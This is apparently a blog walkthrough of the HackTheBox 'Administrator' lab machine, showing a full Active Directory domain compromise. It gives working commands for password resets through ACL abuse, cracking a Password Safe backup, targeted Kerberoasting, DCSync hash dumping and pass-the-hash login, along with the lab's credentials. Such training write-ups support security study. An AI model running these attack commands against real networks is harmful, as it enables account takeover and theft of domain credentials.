HTB — Administrator

9 min readJul 8, 2026

medium box from Active Directory Exploitation path goes brrrrrrr

Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.

Get Need’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

As per usual, let’s check some ports

sudo nmap -sVC -p- $IP --min-rate 10000
nxc smb 10.129.33.3

Vulnerable services and ports enumeration via Nmap

Enumeration of device name and fully qualified domain name (FQDN)

For DNS resolution, add to /etc/hosts

echo "$IP DC administrator.htb DC.administrator.htb" | sudo tee -a /etc/hosts

From here, we can start enumerating users, groups, and shares via Null Authentication. We can see that we really don’t have much to go off of.

nxc smb10.129.33.3 -u '' -p ''
nxc smb10.129.33.3 -u '' -p '' --users
nxc smb10.129.33.3 -u '' -p '' --rid-brute
nxc smb10.129.33.3 -u '' -p '' --shares

Unsuccessful null authentication enumerations

Since we were provided credentials olivia:ichliebedich we can go ahead and confirm that they work and enumerate users/groups/shares. We observe that olivia | michael | emily are part of theRemote Management Users group.


nxc smb 10.129.33.3 -u olivia -p 'ichliebedich'
nxc smb 10.129.33.3 -u olivia -p 'ichliebedich' --users
nxc ldap 10.129.33.3 -u olivia -p 'ichliebedich' --groups
nxc ldap 10.129.33.3 -u olivia -p 'ichliebedich' --groups "Administrators"
nxc ldap 10.129.33.3 -u olivia -p 'ichliebedich' --groups "Remote Management Users"

Enumeration of users in Remote Management Users

Now lets return to the open FTP we observed earlier and see if we can utilize an anonymous ftp connection, which it appears we cannot. I also attempted an authenticated login, which did not work either.

nxc ftp $IP -u olivia -p 'ichliebedich'
ftp $IP

Unsuccessful anonymous authentications to FTP service

Since we observed that olivia is part of the Remote Management Users group earlier, let’s go ahead and give that a spin. We observe that there is no user flag or really any privileges that we can exploit — so this appears to be a dead end.

nxc winrm $IP -u olivia -p 'ichliebedich'
nxc winrm $IP -u olivia -p 'ichliebedich' -X whoami
evil-winrm $IP -u olivia -p 'ichliebedich'
dir
ls
cd..; cd Desktop
tree /f .
whoami /all

Since we haven’t really found any meaningful ways to conduct local privilege escalation (LPE), we do have a domain-joined user, which means that we can do a Bloodhound draw. We will utilize Netexec for this.

nxc ldap $IP -u olivia -p 'ichliebedich' --bloodhound ALL --dns-server $IP

Successful Bloodhound extraction via Netexec

If you haven’t downloaded Bloodhound CE version, follow the documentation provided here. Once downloaded, go to http://127.0.0.1:8080/ui/explore and log in with the credentials provided to you.

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
rm -r  bloodhound-cli-linux-amd64.tar.gz
sudo systemctl start docker
./bloodhound-cli install
http://127.0.0.1:8080/ui/explore

Once you log in to Bloodhound, you need to traverse to Quick Uploads then Upload Files where you will select the zip file you collected earlier

Once Bloodhound has ingested all the files, go to Search and type in Olivia and select the full name that auto completes. You can observe that in Outbout Object Control we have GenericAll privileges over Michael, which is actually pretty helpful for us.

As mentioned, we observe that Olivia has GenericAll over michael . What exactly does that mean? Per HackinArticles -

a DACL (Discretionary Access Control List) is a component of an object’s security descriptor. It specifies which users or groups are allowed (or denied) access to the object and what actions they are permitted to perform. ItA essentially controls who can do what to an object. Such as a user account, computer, group, or any other directory object.
In Active Directory, common DACL rights include:
GenericAll: Grants full control over an object (e.g., modify properties, reset passwords, etc.).
GenericWrite: Allows modification of some object properties.
WriteDACL: Lets the user modify the DACL itself, potentially escalating privileges.
WriteOwner: Grants the ability to take ownership of the object, allowing further privilege modification.
ReadProperty: Allows reading of object properties (e.g., attributes in a user object).
AllExtendedRights: Grants special rights for advanced operations, like resetting passwords or enabling delegation.
Delete: Grants the ability to delete the object.
ReadDACL: Allows reading the object’s access permissions without being able to change them.
ForceChangePassword: Allows forcing a user to change their password without knowing the current one.
The “Generic ALL” privilege is one of the most powerful in AD because it grants complete control over the target object. This means that the user or group with this privilege can:
o Modify any attribute of the object
o Reset passwords
o Add or remove members from groups
o Delegate further control to other users
o Delete the object altogether

Once we click on GenericAll , look to the right side where it shows Relationship Information, and click on Linux Abuse — we will see that it tells us the exact attack path we want to do.

net rpc password "michael" "P@ssw0rd!" -U "administrator.htb"/"olivia"%"P@ssw0rd!" -S "$IP"
nxc smb $IP -u michael -p 'P@ssw0rd!'
evil-winrm -i $IP -u michael -p 'P@ssw0rd!'

Successful password change and validation of credentials

Now that we’ve poked around and didn’t really observe anything that will help with LPE, let’s return to Bloodhound and look to see what is available for us to exploit from user michael . Following the same premise as before, we observe that michael has ForceChangePasssword priviliges over benjamin . So it looks like that will be the next attack vector.

net rpc password "benjamin" "P@ssw0rd!" -U "administrator.htb"/"michael"%"P@ssw0rd!" -S "10.129.33.3"
nxc smb 10.129.33.3 -u benjamin -p "P@ssw0rd!"

ForceChangePassword privilege from Michael to Benjamin

Look at Shortest Paths to Domain Admins which already shows the path we have taken.

So now let’s explore the FTP service we observed earlier and see if we can get any information from it. We are able to grab Backup.psafe3 .

ftp $IP
get Backup.psafe3

Since we have no idea what *.psafe3is, we utilize Hashcat documentation or just use Hashcat to identify the hash type. We identify that we need to use -m 5200 with a wordlist, and we are able to crack the password which is tekieromucho

hashcat Backup.psafe3
hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt

Now that we cracked the hash, we need to download Password Safe , and upload the *.psafe3 file and input the password tekieromucho — which gives us access to the passwords for Alexander | Emily | Emma. Then attempt to validate the credentials, and we identify that only emily credentials work.


https://sourceforge.net/projects/passwordsafe/files/Linux/1.24.0/passwordsafe-debian13-1.24-amd64.deb
sudo dpkg -i passwordsafe-debian13-1.24-amd64.deb
pwsafe

Password safe containing users credentials

Since we know from earlier that emily is part of the Remote Management Users group, let’s go ahead and grab that user.txt flag.

evil-winrm -i 10.129.33.3 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
cd ..;cd Desktop
more user.txt

So let’s once again go back to Bloodhound and we can try Pathfinding from user emily to administrator and we can see that we will utilize GenericWrite to get to Ethan and then conduct a DCSync from Ethan to get access to Administrator . Once we click on GenericWrite we can utilize Targeted Kerberoasting to get a hashed password for Ethan


sudo git clone https://github.com/ShutdownRepo/targetedKerberoast.git
cd targetedKerberoast/
sudo pip3 install -r requirements.txt
targetedKerberoast.py -v -d 'administator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

We attempt to conduct the attack but it appears our clock is out the 5 minute sync from the DC, so we need to change that.

Failed Kerberoast due to time mismanagement

Sync your clock with the DC

sudo timedatectl set-timezone UTC
nmap --script smb2-time $IP
sudo date -s "$TIME"
date

Validating Syncing workstation to DC clock

Let’s re-run this, and crack the hashes. Which gives us user ethan password is limpbizkit — which is kind of hilarious.

python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
sudo nano ethan.txt
hashcat ethan.txt /usr/share/wordlists/rockyou.txt

Successful Targeted Kerberoast of user Ethan

Now that we have this access, validate which protocols we can utilize. We observe that we can use SMB | ldap but not winrm which makes sense since earlier we didn’t observe ethan in Remote Management Users group.

nxc smb 10.129.33.3 -u ethan -p 'limpbizkit'
nxc ldap10.129.33.3 -u ethan -p 'limpbizkit'
nxc winrm 10.129.33.3 -u ethan -p 'limpbizkit'

Let’s go back to Bloodhound, and earlier, we already observed that we had to conduct a DCSync to dump hashes and get access to Administrator

Let’s go ahead and dump hashes — you can use any of the methods below. Once the hashes are dumped, utilize the NTHash to conudcta Pass-The-Hash to log into Administrator utilizing Evil-WinRM and grab the Root.txt flag.

impacket-secretsdump administrator.htb/ethan:'limpbizkit'@$IP -just-dc-ntlm
impacket-secretsdump ethan:limpbizkit@dc.administrator.htb
nxc smb $IP -u ethan -p limpbizkit --ntds
evil-winrm -i $IP -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e